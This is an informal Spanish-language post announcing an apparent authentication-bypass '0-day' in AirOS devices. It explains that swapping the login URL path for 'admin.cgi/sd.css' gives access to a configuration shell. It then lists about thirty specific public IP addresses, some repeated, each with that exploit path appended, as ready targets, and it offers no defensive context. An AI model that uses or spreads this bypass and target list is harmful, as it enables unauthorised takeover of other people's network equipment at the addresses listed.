0-DAY EN SERVIDORES AIROS

En este caso estube navegando en la red y encontre informacion de un nuevo 0-day sobre servidores airos, que se explotaba solamente modificando los datos de la url. aunque no lo crean es es verdad. De este modo se puede visualizar una shell de configuracion donde podremos hacer cualquier cosa...

Un ejemplo: http://la-ip/login.cgi?url=/

donde solo tendran que modificar login.cgi?url=/ por admin.cgi/sd.css, y obtendran el acceso.

 

                                        http://94.228.85.151/admin.cgi/sd.css
                                        http://189.43.119.238/admin.cgi/sd.css
                                        http://94.228.85.151/admin.cgi/sd.css
                                        http://189.43.119.238/admin.cgi/sd.css
                                        http://89.28.228.94/admin.cgi/sd.css
                                        http://209.33.194.214/admin.cgi/sd.css
                                        http://84.55.40.158/admin.cgi/sd.css
                                        http://67.220.24.250/admin.cgi/sd.css
                                        http://12.139.77.71/admin.cgi/sd.css
                                        http://209.115.230.11/admin.cgi/sd.css
                                        http://12.139.77.71/admin.cgi/sd.css
                                        http://209.115.230.11/admin.cgi/sd.css
                                        http://46.36.77.17/admin.cgi/sd.css
                                        http://65.50.228.82/admin.cgi/sd.css
                                        http://200.188.233.252/admin.cgi/sd.css
                                        http://189.108.63.194/admin.cgi/sd.css
                                        http://201.71.179.82/admin.cgi/sd.css
                                        http://12.9.73.221/admin.cgi/sd.css
                                        http://62.68.103.161/admin.cgi/sd.css
                                        http://216.98.241.32/admin.cgi/sd.css
                                        http://178.253.224.216/admin.cgi/sd.css
                                        http://79.101.33.143/admin.cgi/sd.css
                                        http://216.98.241.32/admin.cgi/sd.css
                                        http://178.253.224.216/admin.cgi/sd.css
                                        http://79.101.33.143/admin.cgi/sd.css
                                        http://69.215.120.180/admin.cgi/sd.css
                                        http://190.11.168.227/admin.cgi/sd.css
                                        http://178.20.23.7/admin.cgi/sd.css
                                        http://84.46.222.229/admin.cgi/sd.css
                                        http://177.39.80.214/admin.cgi/sd.css
                                        http://80.82.154.118/admin.cgi/sd.css
                                        http://187.8.43.82/admin.cgi/sd.css